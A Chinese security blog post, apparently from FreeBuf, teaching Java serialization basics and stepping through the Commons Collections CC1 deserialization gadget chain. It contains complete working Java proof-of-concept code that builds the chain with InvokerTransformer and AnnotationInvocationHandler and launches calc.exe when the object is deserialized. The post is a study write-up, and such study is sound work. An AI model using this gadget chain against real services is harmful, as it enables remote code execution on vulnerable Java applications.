freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

从Java反序列化基础到CC链漏洞分析
七七七 2022-07-20 22:11:25 183442
所属地 广东省

前言

好久没看Java的内容,现在从头开始看,学习Java安全。关于反序列化之前入门学习过一点,但是经过这次学习,又多了一些理解。记录下来。从Java反序列化的基础到最后学习分析CC链以及漏洞利用。反序列化基础就提一点,主要是学习并分析下CC链。已经尽可能写的比较啰嗦了,对于像我一样的Java小白,学习这里还是需要有一点Java反射和idea调试的基础。

序列化与反序列化基础

一个类能否进行序列化,取决于它有没有继承Serializable这个接口。
序列化:ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据。
反序列化:ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化成对象。
image
这是通过输入输出流还有字节文件流来进行序列化和反序列化。Java在序列化的时候,类中有个ID,当反序列化的时候,如果ID值被更改了,接下来的反序列化就会失败。
增加个transient标志表示这个变量不参与反序列化

protected transient int age; //transient表示该变量不参与序列化

image

CC链系列命令执行

Transformer细究

用代码来看

package serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);
    }
}

这里调试代码看执行过程。开启debug
先看下调用了Transformer的几个函数
transformers是个实例化的数组对象,里面有两个参数,一个是ConstantTransformer
image
传入constantToReturn,返回同样的值,赋值给this.iConstant,而这里传入的值是Runtime.getRuntime()想要通过这个实现命令执行。
然后看第二个参数:InvokerTransformer
image
传入三个参数,这里通过debug看的话会更明显
image
传入的参数分别为execString.classcalc
然后执行命令的部分还有InvokerTransformer--->transform

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

input是从外面传入的参数,cls获取到input的class
然后是getMethod()
image
到这一步,method得到了exec方法,和该方法的参数数组String.class
最后返回method.invoke(),传入的参数为执行的命令this.iArgs
这样最终完成命令执行。
到这里都是流程,然后下面两段代码才是执行这个流程的操作。继续看:
image
transformsers只是一个存储,用来存储上面分析的所有数据。在 ChainedTransformer中,debug进入方法,是一个for循环,transformers长度为2,这个是我们传入的两个参数。分别是ConstantTransformerInvokerTransformer
这里的for循环会执行两次,第一次执行:
image
没有参数,第二次执行:
image
三个参数都显示出来了,然后进入下一步InvokerTransformer--->transform第一个判断为空的已经把for循环第一次空值给pass掉了,第一次的流程根本就没走到try抛出异常这一步,继续看第二次循环出现exec参数这次,上面已经分析过了,利用invoke()方法调用Runtime.getRuntime().exec()执行命令calc打开计算器。
image
这里算是把这个过程分析结束了。这里只是一个简单的版本,对于Transformer的分析。

CC1链分析

经过上面Transformer相关方法的了解,和那个过程,擦汗不多可以了解这个过程了,接下来就是找个CC链,详细执行过程分析一下。

package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "value");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandler.setAccessible(true);
        Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);
        serialize(instance);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

环境说明:jdk1.7commons-collections3.1.jar
关于解决这个环境问题,用了我将尽一下午的时间,然后废话不多说,分析这个链子之前,关于CC链的原理,为什么是链子,我之前都很迷惑,所以这次顺便记录一下。

commons-collections3.1的执行原理就是找到我们想要执行的危险方法。比如:exec()transform()因为这里的链子是利用了transform()。然后向上找,看看有哪些方法执行的时候调用了这个危险方法,进而一级一级向上寻找这个方法,知道最后。找到一个可控输入的方法,去调用。一级一级向下进行debug。这么说会有点迷,所以看流程图比较直观。
image
这样形成一个链子。(其中利用的方法也不是随意选择的,需要考虑方法是否可序列化)
然后分析下这个链子。
Transformer实例化一个数组transformers,将构建了任意函数执行的核心代码填充进数组中。这样方便调用。transforms数组里面的函数执行核心代码在上面Transform细究中已经解释的比较详细了。命令执行不是这个环节,这里分析下怎么进行调用,CC链执行。

chainedTransformer.transform(Runtime.class);

这句代码用是调用transform(),构造的链子就是需要调用不同类中的同名方法来实现这个结果。
查找Usages,看看项目和lib包中有哪些拥有transform()方法
这里找最后一个也是比较好找的,当然上面的LazyMap中也有
image
可以看到这里的transform(value)是有个参数的,但是可不可控还不清楚,需要继续向上看。而且这个transform()方法只针对valueTransformer生效,所以还要看看valueTransformer在哪里赋值,怎么赋值。
image
从这里就可以看出,只要调用checkSetValue()方法,就会自动调用同文件中的

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       return new TransformedMap(map, keyTransformer, valueTransformer);
    }

这三个值是可以控制的
image
再看看如何调用checkSetValue()方法,在整个文件中只找到一处使用了checkSetValue()方法,就是这里
image
然后看到其实他所在的类MapEntry中有一个父类,就是AbstractMapEntryDecorator
新建一个map也就是实例化一个HashMap对象。然后给这个map装饰一下

HashMap map = new HashMap();
Map transformedMap = TransformedMap.decorate(map,null, chainedTransformer);

至于为什么decorate有三个参数,这里只给它两个,中间为null了,是因为在后面需要用到的valueTransformer.transform(value);里面只对valueTransformer使用了transform()方法。
到这里将chainedTransformer赋值给valueTransformer这样checkSetValue使用时会调用valueTransformer.transform()就相当于chainedTransformer调用了transform()方法。
关于Map.Entry

Java的entry是一个静态内部类,实现Map.Entry< K ,V> 这个接口,通过entry类可以构成一个单向链表
entry就表示的是Java中的键值对。

根据上一张图可以看到,我们现在寻找的目标已经变成了setValue()还是使用find Usages在整个项目和lib包中寻找,还是尽量找不同类中的同名方法。因为最终是需要进行序列化和反序列化的,所以尽可能找readObject()方法,发现在sun.reflect.annotation.AnnotationInvocationHandler中存在一个重写的readObject()方法。
因为这个方法不是public,所以只有通过反射机制调用AnnotationInvocationHandler类的构造函数。也就是使用Class.forName
然后获取它的构造器因为他的构造器不是共有的(public),所以这里要使用getDeclaredConstructor

Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);

解释:

Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器)

参数还是跟它的构造器类似。第一个是个Class,第二个是个Map

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
        this.type = var1;//传入的var1到this.type
        this.memberValues = var2;//我们的map传入this.memberValues
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

再然后,setAccessible(true)将此对象的accessible标志设置为指示的布尔值。值为 true则指示反射的对象在使用时应该取消 Java 语言访问检查。值为false则指示反射的对象应该实施 Java 语言访问检查。
再继续进行获取AnnotationInvocationHandler类实例

Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);

陌生方法解释

通过Class类的newInstance()方法创建对象,该方法要求该Class对应类有无参构造方法。执行 newInstance()方法实际上就是使用对应类的无参构造方法来创建该类的实例,其代码的作用等价于Super sup = new Super()

第一个参数是继承了注释类:extends Annotation
第二个参数是Map,上面的Map实例化的名为transformedMap
注解的这边,Target就是注解,可以跟进去看看
image
里面有个值,为value()
Override也是个注解,但是他里面没有值,先往后看
readObject()重构的方法

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

memberValues是键值对,var4获取了键值对,var5遍历map的迭代器,再后面var6使用getkey()方法获取键值对的key。然后进入一个if判断,需要key不为空
所以这边需要找一个有成员方法的classOverride是没有成员方法的,所以它在这里是不能成功反序列化的,使用Override,在反序列化时,到最后一步,会被if语句拦住进不去。改成Override,进行debug看下效果。
image
这里就进不去if,所以后面的setValue也执行不了,自然无法正常执行命令。
所以这里还是要用Target
最后看一下,关于map.put()的值,第一个值是固定的必须是value
如果换成其他的值,我这里换成admin,再次进行debug
image
最后var7的值还是null,只有当传入的第一个值为value时,到最后的var7获取的才能不为空
image
正常进入,最后成功反序列化。
image

小结

学习这里用的时间比较久吧(......),后续会再继续进行CC链的其他几个链子的分析。

参考资料

推荐看这个视频 https://b23.tv/7U1vbik
https://xz.aliyun.com/t/7031
https://blog.csdn.net/weixin_39881760/article/details/109762099

# java反序列化 # Java反序列化漏洞分析 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 七七七 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
七七七 LV.1
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 8 关注者
CTF之Web安全SSI注入
2022-07-22
浅析Phar反序列化
2021-11-19
web安全目录遍历漏洞学习及绕过
2020-08-22
文章目录